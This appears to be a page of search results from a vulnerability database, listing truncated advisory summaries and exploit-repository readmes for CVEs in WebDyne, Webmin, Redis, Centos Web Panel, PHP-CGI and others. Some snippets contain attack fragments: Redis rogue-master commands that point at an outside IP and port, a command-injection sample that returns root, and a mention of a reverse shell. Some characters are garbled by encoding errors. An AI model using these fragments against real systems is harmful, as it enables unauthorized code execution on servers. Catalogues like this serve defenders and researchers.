335707 matches found
EUVD-2026-114717
WebDyne versions from 2.031 before 3.022 for Perl execute files with .psp anywhere in the name as Perl pages. WebDyne decides whether to run a requested file as a page by matching its name against WEBDYNEPSPEXTRE, which has no end anchor. An application that accepts uploads by checking only the...
motionEye-RCE-through-config-parameter
MotionEye RCE via Client-Side Validation Bypass Summary During security testing of a MotionEye instance running in Docker, it was observed that client-side validation within the web UI can be bypassed. This allows arbitrary input to be submitted, including payloads that can trigger execution on t...
CVE-2026-78189 WebDyne versions from 3.007 before 3.022 for Perl execute .psp files outside the document root via path traversal in the PSGI API route fallback
WebDyne versions from 3.007 before 3.022 for Perl execute .psp files outside the document root via path traversal in the PSGI API route fallback. When a request matches no file, the PSGI handler retries it as an API route through apifilename. That keeps .. segments in the request path and only...
CVE-2026-78189
WebDyne versions from 3.007 before 3.022 are vulnerable to a path traversal vulnerability in the PSGI API route fallback . When a request matches no file, the PSGI handler retries it as an API route via api_filename, which preserves .. segments in the request path. Because the system only verifie...
CVE-2026-78189 WebDyne versions from 3.007 before 3.022 for Perl execute .psp files outside the document root via path traversal in the PSGI API route fallback
WebDyne versions from 3.007 before 3.022 for Perl execute .psp files outside the document root via path traversal in the PSGI API route fallback. When a request matches no file, the PSGI handler retries it as an API route through apifilename. That keeps .. segments in the request path and only...
EUVD-2026-114715
WebDyne versions from 3.007 before 3.022 for Perl execute .psp files outside the document root via path traversal in the PSGI API route fallback. When a request matches no file, the PSGI handler retries it as an API route through apifilename. That keeps .. segments in the request path and only...
watchTowr-vs-Splunk-CVE-2026-20253
CVE-2026-20253 Splunk Pre-Auth RCE Splunk Pre-Auth RCE 1day Detection Artifact Generator Tool Detection in Action Detection Artifact Generator attempts to access the /v1/postgres/recovery/backup endpoint of PostgreSQL Sidecar Service to verify if it is accessible or not: 400 response - probably...
CVE-2019-15107
CVE-2019-15107 Webmin 1.890 Unauthenticated Remote Code Execution This script is designed to exploit unauthenticated command execution vulnerability in Webmin 1.890. It allows you to execute arbitrary commands on a target Webmin server or to obtain a reverse shell. Usage The exploit takes 5...
CVE-2025-31324
Info ββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββββββββββββββββ N U L L T R A C E // NullTrace :: No logs. No noise. Just signal. // ----- SIGNATURE----- Key: ssh-rsa AAAAB3...NullKey...KFA== Fingerprint:...
CLEANSTART-2024-YE53546 rxvt-unicode package is vulnerable to a remote code execution, in the Perl background extension, when an attacker can control the data written to the user's terminal and certain options are set
Security vulnerability affects the rxvt-unicode package. The rxvt-unicode package is vulnerable to a remote code execution, in the Perl background extension, when an attacker can control the data written to the user's terminal and certain options are set...
CVE-2022-22947_Rce_Exp
CVE-2022-22947RceExp Spring Cloud Gateway Remote Code Execution Vulnerability Exp SpringCloudGatewayRCEExp-CVE-2022-22947...
CVE-2022-44877
Centos Web Panel 7 Unauthenticated Remote Code Execution - CVE-2022-44877 + Centos Web Panel 7 Unauthenticated Remote Code Execution + Centos Web Panel 7 - log β CVE-2022-44877 cat log examplelog β CVE-2022-44877 echo "examplelog $whoami" log β CVE-2022-44877 cat log examplelog examplelog root β...
CLEANSTART-2024-RL76221 remote code execution vulnerability exists when Git for Visual Studio improperly sanitizes input, aka 'Git for Visual Studio Remote Code Execution Vulnerability'
Security vulnerability affects the libgit2 package. A remote code execution vulnerability exists when Git for Visual Studio improperly sanitizes input, aka 'Git for Visual Studio Remote Code Execution Vulnerability'...
CVE-2019-5420
CVE-2019-5420 Ruby-on-Rails offers three different environments it can run in: development, test and production. You should obviously not have code running in development or test available on the internet but it as always happens for example in staging environments. Ruby-on-Rails uses...
PoC-RCE-Rukovoditel
PoC-RCE-Rukovoditel Proof of concept for CVE-2020-11819 and CVE-2020-15946. Tested on Rukovoditel 2.4.x, 2.5.x and 2.6.1 Description: This exploit has two modes of execution, using the session fixation vulnerability CVE-2020-15946 or using the access credentials of any account under any profile...
CVE-2024-4577
CVE-2024-4577 A Proof of Concept developed by @watchTowr exploiting the PHP CGI Argument Injection vulnerability CVE-2024-4577 to obtain RCE on a vulnerable PHP version running in a Windows environment. Detailed technical analysis for this vulnerability Orange Tsi π This vulnerability was found b...
CVE-2022-42889
CVE-2022-42889 Test application This repository contains a simple application using Apache Commons Text 1.9 which is vulnerable to CVE-2022-42889. Running the application Build and run the application via docker: docker build . -t vulnerable-app docker run vulnerable-app $ docker ps CONTAINER ID...
Redis-RCE
Redis-RCE remote code execute for redis4 and redis5 python code from https://github.com/Ridter/redis-rce ιθΏε θ½½soζδ»ΆοΌζ©ε±ζ°ε½δ»€system.execθΏθ‘ ε½δ»€ζ§θ‘ζε strings explin.so |grep sys system system.exec syserrlist.h sysnerr syserrlist syssiglist system.exec 0x01 SLAVEOF 192.168.2.18 8989 0x02 config set dir /tmp...
Ashwesker-CVE-2025-52691
π¨ CVE-2025-52691 β Critical SmarterMail Vulnerability Status: π₯ Critical β Immediate action required CVSS v3.1 Score: 10.0 / 10 Disclosure Date: December 29β30, 2025 𧩠Vulnerability Summary CVE-2025-52691 is a critical, unauthenticated arbitrary file upload vulnerability affecting SmarterTools...